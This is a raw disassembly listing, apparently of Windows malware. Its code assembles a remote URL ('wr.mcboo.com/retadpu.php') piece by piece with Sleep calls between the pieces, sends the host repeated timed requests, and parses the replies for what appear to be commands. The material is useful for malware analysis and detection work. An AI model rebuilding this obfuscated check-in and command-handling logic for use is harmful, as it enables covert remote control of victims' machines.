lea ecx, [ebp+var_27F4]
push ecx
call sub_4317BA
mov [ebp+var_289C], eax
mov edx, [ebp+var_289C]
mov [ebp+var_28A0], edx
mov byte ptr [ebp+var_4], 11h
mov eax, [ebp+var_28A0]
push eax
lea ecx, [ebp+var_27F8]
push ecx
call sub_4317B4
mov [ebp+var_28A4], eax
mov edx, [ebp+var_28A4]
mov [ebp+var_28A8], edx
mov byte ptr [ebp+var_4], 12h
mov eax, [ebp+var_28A8]
push eax
lea ecx, [ebp+var_27FC]
push ecx
call sub_4317BA
mov [ebp+var_28AC], eax
mov edx, [ebp+var_28AC]
mov [ebp+var_28B0], edx
mov byte ptr [ebp+var_4], 13h
mov eax, [ebp+var_28B0]
push eax
lea ecx, [ebp+var_2800]
push ecx
call sub_4317BA
mov [ebp+var_28B4], eax
mov edx, [ebp+var_28B4]
mov [ebp+var_28B8], edx
mov byte ptr [ebp+var_4], 14h
mov eax, [ebp+var_28B8]
push eax
lea ecx, [ebp+var_14]
call sub_4317A8
mov byte ptr [ebp+var_4], 13h
lea ecx, [ebp+var_2800]
call sub_4317A2
mov byte ptr [ebp+var_4], 12h
lea ecx, [ebp+var_27FC]
call sub_4317A2
mov byte ptr [ebp+var_4], 11h
lea ecx, [ebp+var_27F8]
call sub_4317A2
mov byte ptr [ebp+var_4], 10h
lea ecx, [ebp+var_27F4]
call sub_4317A2
mov byte ptr [ebp+var_4], 0Fh
lea ecx, [ebp+var_27F0]
call sub_4317A2
mov byte ptr [ebp+var_4], 0Eh
lea ecx, [ebp+var_27EC]
call sub_4317A2
mov byte ptr [ebp+var_4], 0Dh
lea ecx, [ebp+var_27E8]
call sub_4317A2
mov byte ptr [ebp+var_4], 0Ch
lea ecx, [ebp+var_27E4]
call sub_4317A2
mov byte ptr [ebp+var_4], 0Bh
lea ecx, [ebp+var_27E0]
call sub_4317A2
mov byte ptr [ebp+var_4], 0Ah
lea ecx, [ebp+var_27DC]
call sub_4317A2
mov byte ptr [ebp+var_4], 9
lea ecx, [ebp+var_27D8]
call sub_4317A2
mov byte ptr [ebp+var_4], 8
lea ecx, [ebp+var_27D4]
call sub_4317A2
mov byte ptr [ebp+var_4], 7
lea ecx, [ebp+var_27D0]
call sub_4317A2
mov byte ptr [ebp+var_4], 6
lea ecx, [ebp+var_27CC]
call sub_4317A2
mov byte ptr [ebp+var_4], 5
lea ecx, [ebp+var_27C8]
call sub_4317A2
mov byte ptr [ebp+var_4], 4
lea ecx, [ebp+var_27C0]
call sub_4317A2
mov byte ptr [ebp+var_4], 3
lea ecx, [ebp+var_27BC]
call sub_4317A2
push offset aHtt ; "htt"
lea ecx, [ebp+var_279C]
push ecx
call dword_4330CC ; lstrcpyA
push 24h
call dword_4330E0 ; Sleep
push offset aP ; "p://"
lea edx, [ebp+var_279C]
push edx
call dword_433074 ; lstrcatA
push 22h
call dword_4330E0 ; Sleep
push offset aWr_mc ; "wr.mc"
lea eax, [ebp+var_279C]
push eax
call dword_433074 ; lstrcatA
push 22h
call dword_4330E0 ; Sleep
push offset aBo ; "bo"
lea ecx, [ebp+var_279C]
push ecx
call dword_433074 ; lstrcatA
push 24h
call dword_4330E0 ; Sleep
push offset aO ; "o"
lea edx, [ebp+var_279C]
push edx
call dword_433074 ; lstrcatA
push 27h
call dword_4330E0 ; Sleep
push offset a_co ; ".co"
lea eax, [ebp+var_279C]
push eax
call dword_433074 ; lstrcatA
push 22h
call dword_4330E0 ; Sleep
push offset aMR ; "m/r"
lea ecx, [ebp+var_279C]
push ecx
call dword_433074 ; lstrcatA
push 21h
call dword_4330E0 ; Sleep
push offset aEta ; "eta"
lea edx, [ebp+var_279C]
push edx
call dword_433074 ; lstrcatA
push 22h
call dword_4330E0 ; Sleep
push offset aDpu_ ; "dpu."
lea eax, [ebp+var_279C]
push eax
call dword_433074 ; lstrcatA
push 21h
call dword_4330E0 ; Sleep
push offset aPh ; "ph"
lea ecx, [ebp+var_279C]
push ecx
call dword_433074 ; lstrcatA
push 20h
call dword_4330E0 ; Sleep
push offset aP? ; "p?"
lea edx, [ebp+var_279C]
push edx
call dword_433074 ; lstrcatA
push 22h
call dword_4330E0 ; Sleep
lea ecx, [ebp+var_14]
call sub_4226A0
push eax
lea eax, [ebp+var_279C]
push eax
call dword_433074 ; lstrcatA
lea ecx, [ebp+var_20]
push ecx
lea edx, [ebp+var_279C]
push edx
mov ecx, [ebp+var_282C]
add ecx, 8
call sub_422F1F
mov [ebp+var_10], eax
cmp [ebp+var_10], 64h
jnb short loc_428B9C
mov [ebp+var_2804], 0
mov byte ptr [ebp+var_4], 2
lea ecx, [ebp+var_14]
call sub_4317A2
mov byte ptr [ebp+var_4], 1
lea ecx, [ebp+var_24]
call sub_4317A2
mov byte ptr [ebp+var_4], 0
lea ecx, [ebp+var_18]
call sub_4317A2
mov [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+var_1C]
call sub_4241A6
mov eax, [ebp+var_2804]
jmp loc_42902B
; ---------------------------------------------------------------------------
loc_428B9C: ; CODE XREF: sub_42852F+623j
mov eax, [ebp+var_10]
add eax, 1
push eax
mov ecx, [ebp+var_20]
push ecx
lea edx, [ebp+var_1F90]
push edx
call dword_4330C8 ; lstrcpynA
push 1Dh
call dword_4330E0 ; Sleep
mov eax, [ebp+var_10]
mov [ebp+eax+var_1F90], 0
mov ecx, [ebp+var_10]
push ecx
mov edx, [ebp+var_20]
push edx
lea eax, [ebp+var_2808]
push eax
mov ecx, [ebp+var_282C]
add ecx, 8
call sub_4230F8
mov [ebp+var_28BC], eax
mov ecx, [ebp+var_28BC]
mov [ebp+var_28C0], ecx
mov byte ptr [ebp+var_4], 15h
mov ecx, [ebp+var_28C0]
call sub_4226A0
push eax
lea edx, [ebp+var_1F90]
push edx
call dword_4330CC ; lstrcpyA
mov byte ptr [ebp+var_4], 3
lea ecx, [ebp+var_2808]
call sub_4317A2
lea eax, [ebp+var_1F90]
push eax
lea ecx, [ebp+var_1C]
call sub_429920
push 1Dh
call dword_4330E0 ; Sleep
lea ecx, [ebp+var_1C]
call sub_4299D0
cmp eax, 64h
jnb short loc_428C9D
lea ecx, [ebp+var_1C]
call sub_4299A0
push eax
call dword_433274
mov [ebp+var_280C], 0FFFFFFFFh
mov byte ptr [ebp+var_4], 2
lea ecx, [ebp+var_14]
call sub_4317A2
mov byte ptr [ebp+var_4], 1
lea ecx, [ebp+var_24]
call sub_4317A2
mov byte ptr [ebp+var_4], 0
lea ecx, [ebp+var_18]
call sub_4317A2
mov [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+var_1C]
call sub_4241A6
mov eax, [ebp+var_280C]
jmp loc_42902B
; ---------------------------------------------------------------------------
loc_428C9D: ; CODE XREF: sub_42852F+715j
push 0
lea ecx, [ebp+var_1F9C]
call sub_429E30
mov byte ptr [ebp+var_4], 16h
push 7
push 0
push offset byte_4332B8
lea ecx, [ebp+var_1F9C]
call sub_429EB0
mov [ebp+var_50], eax
cmp [ebp+var_50], 0
jge short loc_428D40
push 0
push 0
mov ecx, [ebp+var_50]
push ecx
lea ecx, [ebp+var_27AC]
call sub_429C60
mov [ebp+var_2810], 0FFFFFFFEh
lea ecx, [ebp+var_27AC]
call sub_429CF0
mov byte ptr [ebp+var_4], 3
lea ecx, [ebp+var_1F9C]
call sub_429E60
mov byte ptr [ebp+var_4], 2
lea ecx, [ebp+var_14]
call sub_4317A2
mov byte ptr [ebp+var_4], 1
lea ecx, [ebp+var_24]
call sub_4317A2
mov byte ptr [ebp+var_4], 0
lea ecx, [ebp+var_18]
call sub_4317A2
mov [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+var_1C]
call sub_4241A6
mov eax, [ebp+var_2810]
jmp loc_42902B
; ---------------------------------------------------------------------------
loc_428D40: ; CODE XREF: sub_42852F+79Aj
lea ecx, [ebp+var_34]
call sub_429A80
mov byte ptr [ebp+var_4], 17h
push ecx
mov ecx, esp
mov [ebp+var_2814], esp
lea edx, [ebp+var_1C]
push edx
call sub_4298F0
mov [ebp+var_28C4], eax
mov eax, [ebp+var_28C4]
mov [ebp+var_28C8], eax
mov byte ptr [ebp+var_4], 18h
lea ecx, [ebp+var_1F9C]
call sub_429E80
mov ecx, eax
mov byte ptr [ebp+var_4], 17h
call sub_429DA0
mov [ebp+var_28CA], ax
mov cx, [ebp+var_28CA]
push ecx
lea ecx, [ebp+var_34]
call sub_429B30
mov [ebp+var_4C], 0FFFFFFFFh
call dword_433028 ; RtlGetLastWin32Error
mov [ebp+var_4C], eax
lea ecx, [ebp+var_34]
call sub_429AA0
and eax, 0FFh
cmp eax, 1
jnz loc_428F4F
lea ecx, [ebp+var_27B0]
call sub_4298D0
mov byte ptr [ebp+var_4], 19h
lea edx, [ebp+var_2818]
push edx
lea ecx, [ebp+var_1F9C]
call sub_429E80
mov ecx, eax
call sub_429D40
mov [ebp+var_28D0], eax
mov eax, [ebp+var_28D0]
push eax
lea ecx, [ebp+var_27B0]
call sub_429FC0
lea ecx, [ebp+var_2818]
call sub_4264D2
push ecx
mov ecx, esp
mov [ebp+var_281C], esp
lea edx, [ebp+var_27B0]
push edx
call sub_429F60
mov [ebp+var_28D4], eax
mov ecx, [ebp+var_282C]
add ecx, 8
call sub_424485
mov [ebp+var_28D8], eax
mov eax, [ebp+var_28D8]
mov [ebp+var_1F98], eax
mov ecx, [ebp+var_1F98]
imul ecx, 1400Ch
mov [ebp+var_27B4], ecx
cmp [ebp+var_1F98], 0
jnz short loc_428E80
mov edx, [ebp+var_27B4]
push edx
call dword_4331C8 ; malloc
add esp, 4
mov [ebp+var_27B8], eax
jmp short loc_428E96
; ---------------------------------------------------------------------------
loc_428E80: ; CODE XREF: sub_42852F+937j
mov eax, [ebp+var_27B4]
push eax
call dword_4331C8 ; malloc
add esp, 4
mov [ebp+var_27B8], eax
loc_428E96: ; CODE XREF: sub_42852F+94Fj
mov ecx, [ebp+var_27B4]
push ecx
push 0
mov edx, [ebp+var_27B8]
push edx
call sub_4318B2 ; memset
add esp, 0Ch
push 1Dh
call dword_4330E0 ; Sleep
mov eax, [ebp+var_1F98]
push eax
mov ecx, [ebp+var_27B8]
push ecx
mov ecx, [ebp+var_282C]
add ecx, 8
call sub_4233A8
push 1Ch
call dword_4330E0 ; Sleep
mov edx, [ebp+var_27B8]
push edx
push ecx
mov ecx, esp
mov [ebp+var_2820], esp
lea eax, [ebp+var_27B0]
push eax
call sub_429F60
mov [ebp+var_28DC], eax
mov ecx, [ebp+var_282C]
add ecx, 8
call sub_423489
push 1Bh
call dword_4330E0 ; Sleep
mov ecx, [ebp+var_1F98]
push ecx
mov edx, [ebp+var_27B8]
push edx
mov ecx, [ebp+var_282C]
add ecx, 8
call sub_424606
mov eax, [ebp+var_27B8]
push eax
call dword_4331D4 ; free
add esp, 4
mov byte ptr [ebp+var_4], 17h
lea ecx, [ebp+var_27B0]
call sub_4264D2
jmp short loc_428FBE
; ---------------------------------------------------------------------------
loc_428F4F: ; CODE XREF: sub_42852F+892j
lea ecx, [ebp+var_1C]
call sub_4299A0
push eax
call dword_433274
mov [ebp+var_2824], 0FFFFFFFDh
mov byte ptr [ebp+var_4], 16h
lea ecx, [ebp+var_34]
call sub_429C40
mov byte ptr [ebp+var_4], 3
lea ecx, [ebp+var_1F9C]
call sub_429E60
mov byte ptr [ebp+var_4], 2
lea ecx, [ebp+var_14]
call sub_4317A2
mov byte ptr [ebp+var_4], 1
lea ecx, [ebp+var_24]
call sub_4317A2
mov byte ptr [ebp+var_4], 0
lea ecx, [ebp+var_18]
call sub_4317A2
mov [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+var_1C]
call sub_4241A6
mov eax, [ebp+var_2824]
jmp short loc_42902B
; ---------------------------------------------------------------------------
loc_428FBE: ; CODE XREF: sub_42852F+A1Ej
lea ecx, [ebp+var_1C]
call sub_4299A0
push eax
call dword_433274
mov [ebp+var_2828], 1
mov byte ptr [ebp+var_4], 16h
lea ecx, [ebp+var_34]
call sub_429C40
mov byte ptr [ebp+var_4], 3
lea ecx, [ebp+var_1F9C]
call sub_429E60
mov byte ptr [ebp+var_4], 2
lea ecx, [ebp+var_14]
call sub_4317A2
mov byte ptr [ebp+var_4], 1
lea ecx, [ebp+var_24]
call sub_4317A2
mov byte ptr [ebp+var_4], 0
lea ecx, [ebp+var_18]
call sub_4317A2
mov [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+var_1C]
call sub_4241A6
mov eax, [ebp+var_2828]
loc_42902B: ; CODE XREF: sub_42852F+668j
; sub_42852F+769j ...
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_42852F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429039 proc near ; CODE XREF: sub_42948F+B0p
var_807C = dword ptr -807Ch
var_8078 = dword ptr -8078h
var_8074 = dword ptr -8074h
var_8070 = dword ptr -8070h
var_806C = dword ptr -806Ch
var_8068 = dword ptr -8068h
var_8064 = dword ptr -8064h
var_8060 = dword ptr -8060h
var_805C = dword ptr -805Ch
var_8058 = dword ptr -8058h
var_8054 = dword ptr -8054h
var_8050 = dword ptr -8050h
var_804C = dword ptr -804Ch
var_8048 = dword ptr -8048h
var_8044 = dword ptr -8044h
var_8040 = byte ptr -8040h
var_803C = byte ptr -803Ch
var_8038 = byte ptr -8038h
var_8034 = byte ptr -8034h
var_8030 = byte ptr -8030h
var_802C = byte ptr -802Ch
var_8028 = byte ptr -8028h
var_8024 = byte ptr -8024h
var_8020 = byte ptr -8020h
var_801C = byte ptr -801Ch
var_8018 = dword ptr -8018h
var_8014 = byte ptr -8014h
var_6014 = byte ptr -6014h
var_4014 = byte ptr -4014h
var_4010 = byte ptr -4010h
var_2010 = byte ptr -2010h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_429039
mov eax, large fs:0
push eax
mov large fs:0, esp
mov eax, 8070h
call sub_431860
mov [ebp+var_8044], ecx
mov [ebp+var_801C], 1
lea ecx, [ebp+var_4014]
call sub_4317AE
mov [ebp+var_4], 0
push offset dword_43BD40
lea ecx, [ebp+var_4014]
call sub_4317A8
lea ecx, [ebp+var_4014]
call sub_428280
test eax, eax
jnz short loc_4290E5
lea eax, [ebp+var_8024]
push eax
mov ecx, [ebp+var_8044]
add ecx, 8
call sub_425C67
mov [ebp+var_8048], eax
mov ecx, [ebp+var_8048]
mov [ebp+var_804C], ecx
mov byte ptr [ebp+var_4], 1
mov edx, [ebp+var_804C]
push edx
lea ecx, [ebp+var_4014]
call sub_4317A8
mov byte ptr [ebp+var_4], 0
lea ecx, [ebp+var_8024]
call sub_4317A2
loc_4290E5: ; CODE XREF: sub_429039+5Ej
lea ecx, [ebp+var_4014]
call sub_4226A0
push eax
lea eax, [ebp+var_6014]
push eax
call dword_4330CC ; lstrcpyA
lea ecx, [ebp+var_6014]
push ecx
call dword_4330B4 ; lstrlenA
push eax
lea edx, [ebp+var_6014]
push edx
lea eax, [ebp+var_8028]
push eax
mov ecx, [ebp+var_8044]
add ecx, 8
call sub_4230F8
mov [ebp+var_8050], eax
mov ecx, [ebp+var_8050]
mov [ebp+var_8054], ecx
mov byte ptr [ebp+var_4], 2
mov edx, [ebp+var_8054]
push edx
lea ecx, [ebp+var_4014]
call sub_4317A8
mov byte ptr [ebp+var_4], 0
lea ecx, [ebp+var_8028]
call sub_4317A2
lea ecx, [ebp+var_4014]
call sub_4226A0
push eax
lea eax, [ebp+var_8014]
push eax
call dword_433298 ; wsprintfA
add esp, 8
movsx ecx, [ebp+var_8014]
cmp ecx, 2Fh
jnz loc_429444
push 0
push 1
lea edx, [ebp+var_8014]
push edx
lea eax, [ebp+var_802C]
push eax
lea ecx, [ebp+var_8020]
call sub_421ACF
mov [ebp+var_8058], eax
mov ecx, [ebp+var_8058]
mov [ebp+var_805C], ecx
mov byte ptr [ebp+var_4], 3
mov ecx, [ebp+var_805C]
call sub_4226A0
push eax
lea edx, [ebp+var_8014]
push edx
call sub_4318B8 ; strcpy
add esp, 8
mov byte ptr [ebp+var_4], 0
lea ecx, [ebp+var_802C]
call sub_4317A2
loc_4291E8: ; CODE XREF: sub_429039:loc_42943Fj
push 2Fh
lea eax, [ebp+var_8014]
push eax
lea ecx, [ebp+var_8020]
call sub_421A20
mov [ebp+var_10], eax
cmp [ebp+var_10], 0
jz loc_429444
cmp [ebp+var_10], 0FFFFFFFFh
jnz short loc_429225
lea ecx, [ebp+var_8014]
push ecx
lea edx, [ebp+var_4010]
push edx
call dword_4330CC ; lstrcpyA
jmp short loc_429282
; ---------------------------------------------------------------------------
loc_429225: ; CODE XREF: sub_429039+1D4j
mov eax, [ebp+var_10]
push eax
push 0
lea ecx, [ebp+var_8014]
push ecx
lea edx, [ebp+var_8030]
push edx
lea ecx, [ebp+var_8020]
call sub_421ACF
mov [ebp+var_8060], eax
mov eax, [ebp+var_8060]
mov [ebp+var_8064], eax
mov byte ptr [ebp+var_4], 4
mov ecx, [ebp+var_8064]
call sub_4226A0
push eax
lea ecx, [ebp+var_4010]
push ecx
call dword_4330CC ; lstrcpyA
mov byte ptr [ebp+var_4], 0
lea ecx, [ebp+var_8030]
call sub_4317A2
loc_429282: ; CODE XREF: sub_429039+1EAj
push 0
mov edx, [ebp+var_10]
add edx, 1
push edx
lea eax, [ebp+var_8014]
push eax
lea ecx, [ebp+var_8034]
push ecx
lea ecx, [ebp+var_8020]
call sub_421ACF
mov [ebp+var_8068], eax
mov edx, [ebp+var_8068]
mov [ebp+var_806C], edx
mov byte ptr [ebp+var_4], 5
mov ecx, [ebp+var_806C]
call sub_4226A0
push eax
lea eax, [ebp+var_8014]
push eax
call dword_4330CC ; lstrcpyA
mov byte ptr [ebp+var_4], 0
lea ecx, [ebp+var_8034]
call sub_4317A2
push 3Ah
lea ecx, [ebp+var_4010]
push ecx
lea ecx, [ebp+var_8020]
call sub_421A20
mov [ebp+var_8018], eax
cmp [ebp+var_8018], 0FFFFFFFFh
jz loc_4293CE
mov edx, [ebp+var_8018]
push edx
push 0
lea eax, [ebp+var_4010]
push eax
lea ecx, [ebp+var_8038]
push ecx
lea ecx, [ebp+var_8020]
call sub_421ACF
mov [ebp+var_8070], eax
mov edx, [ebp+var_8070]
mov [ebp+var_8074], edx
mov byte ptr [ebp+var_4], 6
mov ecx, [ebp+var_8074]
call sub_4226A0
push eax
lea eax, [ebp+var_2010]
push eax
call dword_4330CC ; lstrcpyA
mov byte ptr [ebp+var_4], 0
lea ecx, [ebp+var_8038]
call sub_4317A2
push 0
mov ecx, [ebp+var_8018]
add ecx, 1
push ecx
lea edx, [ebp+var_4010]
push edx
lea eax, [ebp+var_803C]
push eax
lea ecx, [ebp+var_8020]
call sub_421ACF
mov [ebp+var_8078], eax
mov ecx, [ebp+var_8078]
mov [ebp+var_807C], ecx
mov byte ptr [ebp+var_4], 7
mov ecx, [ebp+var_807C]
call sub_4226A0
push eax
lea edx, [ebp+var_4010]
push edx
call dword_4330CC ; lstrcpyA
mov byte ptr [ebp+var_4], 0
lea ecx, [ebp+var_803C]
call sub_4317A2
jmp short loc_4293F8
; ---------------------------------------------------------------------------
loc_4293CE: ; CODE XREF: sub_429039+2CAj
lea eax, [ebp+var_4010]
push eax
lea ecx, [ebp+var_2010]
push ecx
call dword_4330CC ; lstrcpyA
push 2000h
push 0
lea edx, [ebp+var_4010]
push edx
call sub_4318B2 ; memset
add esp, 0Ch
loc_4293F8: ; CODE XREF: sub_429039+393j
push 3
push offset aOld ; "old"
lea eax, [ebp+var_2010]
push eax
call dword_4331AC ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_429437
lea ecx, [ebp+var_4010]
push ecx
call sub_4221DB
add esp, 4
test eax, eax
jz short loc_429437
push 1
lea edx, [ebp+var_4010]
push edx
call sub_421C92
add esp, 8
loc_429437: ; CODE XREF: sub_429039+3D8j
; sub_429039+3EBj
cmp [ebp+var_10], 0FFFFFFFFh
jnz short loc_42943F
jmp short loc_429444
; ---------------------------------------------------------------------------
loc_42943F: ; CODE XREF: sub_429039+402j
jmp loc_4291E8
; ---------------------------------------------------------------------------
loc_429444: ; CODE XREF: sub_429039+14Cj
; sub_429039+1CAj ...
mov ecx, [ebp+var_8044]
add ecx, 10h
call sub_428280
test eax, eax
jnz short loc_42945D
mov [ebp+var_801C], 0
loc_42945D: ; CODE XREF: sub_429039+41Bj
mov al, [ebp+var_801C]
mov [ebp+var_8040], al
mov [ebp+var_4], 0FFFFFFFFh
lea ecx, [ebp+var_4014]
call sub_4317A2
mov al, [ebp+var_8040]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_429039 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42948F proc near ; CODE XREF: sub_429672+F0p
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_42948F
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
sub esp, 30h
push ebx
push esi
push edi
mov [ebp+var_10], esp
mov [ebp+var_28], ecx
mov [ebp+var_4], 0
lea eax, [ebp+var_14]
push eax
call dword_4331A4 ; time
add esp, 4
mov ecx, [ebp+var_28]
add ecx, 2040h
push ecx
mov edx, esp
mov [ebp+var_20], esp
push ecx
mov ecx, edx
call sub_431796
mov [ebp+var_2C], eax
mov ecx, [ebp+var_28]
add ecx, 8
call sub_426022
push 22h
call dword_4330E0 ; Sleep
push 0
mov ecx, [ebp+var_28]
add ecx, 8
call sub_425642
mov [ebp+var_30], eax
mov eax, [ebp+var_28]
mov ecx, [ebp+var_30]
mov [eax], ecx
mov [ebp+var_18], 2
push 24h
call dword_4330E0 ; Sleep
loc_42951C: ; CODE XREF: sub_42948F:loc_429639j
mov edx, [ebp+var_28]
xor eax, eax
mov al, [edx+20h]
test eax, eax
jnz loc_42963E
cmp [ebp+var_18], 2
jnz loc_42963E
cmp [ebp+var_18], 0
jle short loc_429544
mov ecx, [ebp+var_28]
call sub_429039
loc_429544: ; CODE XREF: sub_42948F+ABj
; sub_42948F+E1j
cmp [ebp+var_18], 0
jle short loc_429555
push 859h
call dword_4330E0 ; Sleep
loc_429555: ; CODE XREF: sub_42948F+B9j
cmp [ebp+var_18], 0FFFFFFFFh
jle short loc_429568
lea ecx, [ebp+var_14]
push ecx
call dword_4331A4 ; time
add esp, 4
loc_429568: ; CODE XREF: sub_42948F+CAj
mov edx, [ebp+var_28]
mov eax, [edx]
cmp eax, [ebp+var_14]
jg short loc_429544
push 0
call dword_4332B0
test eax, eax
jge short loc_429585
xor al, al
jmp loc_429661
; ---------------------------------------------------------------------------
loc_429585: ; CODE XREF: sub_42948F+EDj
mov ecx, [ebp+var_28]
call sub_42852F
mov [ebp+var_34], eax
mov ecx, [ebp+var_34]
mov [ebp+var_1C], ecx
push 26h
call dword_4330E0 ; Sleep
call dword_4332A4
push 24h
call dword_4330E0 ; Sleep
cmp [ebp+var_1C], 0
jle short loc_4295CC
push 0
mov ecx, [ebp+var_28]
add ecx, 8
call sub_425642
mov [ebp+var_38], eax
mov edx, [ebp+var_28]
mov eax, [ebp+var_38]
mov [edx], eax
jmp short loc_4295F7
; ---------------------------------------------------------------------------
loc_4295CC: ; CODE XREF: sub_42948F+121j
push 20h
call dword_4330E0 ; Sleep
push 15182h
mov ecx, [ebp+var_28]
add ecx, 8
call sub_425642
mov [ebp+var_3C], eax
mov ecx, [ebp+var_28]
mov edx, [ebp+var_3C]
mov [ecx], edx
push 21h
call dword_4330E0 ; Sleep
loc_4295F7: ; CODE XREF: sub_42948F+13Bj
lea eax, [ebp+var_14]
push eax
call dword_4331A4 ; time
add esp, 4
mov ecx, [ebp+var_28]
mov edx, [ecx]
cmp edx, [ebp+var_14]
jge short loc_429639
push 22h
call dword_4330E0 ; Sleep
push 15181h
mov ecx, [ebp+var_28]
add ecx, 8
call sub_425642
mov [ebp+var_40], eax
mov eax, [ebp+var_28]
mov ecx, [ebp+var_40]
mov [eax], ecx
push 23h
call dword_4330E0 ; Sleep
loc_429639: ; CODE XREF: sub_42948F+17Dj
jmp loc_42951C
; ---------------------------------------------------------------------------
loc_42963E: ; CODE XREF: sub_42948F+97j
; sub_42948F+A1j
mov edx, [ebp+var_18]
add edx, 1
mov [ebp+var_18], edx
jmp short loc_429658
; ---------------------------------------------------------------------------
loc_429649: ; DATA XREF: TEUm:00435D54o
mov [ebp+var_24], 0
mov eax, offset loc_429653
retn
; ---------------------------------------------------------------------------
loc_429653: ; DATA XREF: sub_42948F+1BEo
mov al, [ebp+var_24]
jmp short loc_429661
; ---------------------------------------------------------------------------
loc_429658: ; CODE XREF: sub_42948F+1B8j
mov [ebp+var_4], 0FFFFFFFFh
mov al, 1
loc_429661: ; CODE XREF: sub_42948F+F1j
; sub_42948F+1C7j
mov ecx, [ebp+var_C]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42948F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429672 proc near ; CODE XREF: TEUm:00431A49p
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, [ebp+arg_8]
push eax
mov ecx, offset dword_43BD40
call sub_43179C
push 1Eh
call dword_4330E0 ; Sleep
mov ecx, offset dword_439D00
call sub_42948F
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
retn 10h
sub_429672 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4297D0 proc near ; CODE XREF: sub_428520+8p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_4297D0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp+var_10], ecx
mov [ebp+var_4], 2
mov ecx, [ebp+var_10]
add ecx, 2040h
call sub_4317A2
mov byte ptr [ebp+var_4], 1
mov ecx, [ebp+var_10]
add ecx, 203Ch
call sub_4317A2
mov byte ptr [ebp+var_4], 0
mov ecx, [ebp+var_10]
add ecx, 8
call sub_422BB1
mov [ebp+var_4], 0FFFFFFFFh
mov ecx, [ebp+var_10]
add ecx, 4
call sub_4317A2
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_4297D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_429850 proc near ; CODE XREF: sub_4284FF+8p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset SEH_429850
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
mov [ebp+var_10], ecx
mov ecx, [ebp+var_10]
add ecx, 4
call sub_4317AE
mov [ebp+var_4], 0
mov ecx, [ebp+var_10]
add ecx, 8
call sub_422A1E
mov byte ptr [ebp+var_4], 1
mov ecx, [ebp+var_10]
add ecx, 203Ch
call sub_4317AE
mov byte ptr [ebp+var_4], 2
mov ecx, [ebp+var_10]
add ecx, 2040h
call sub_4317AE
mov [ebp+var_4], 0FFFFFFFFh
mov eax, [ebp+var_10]
mov ecx, [ebp+var_C]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_429850 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
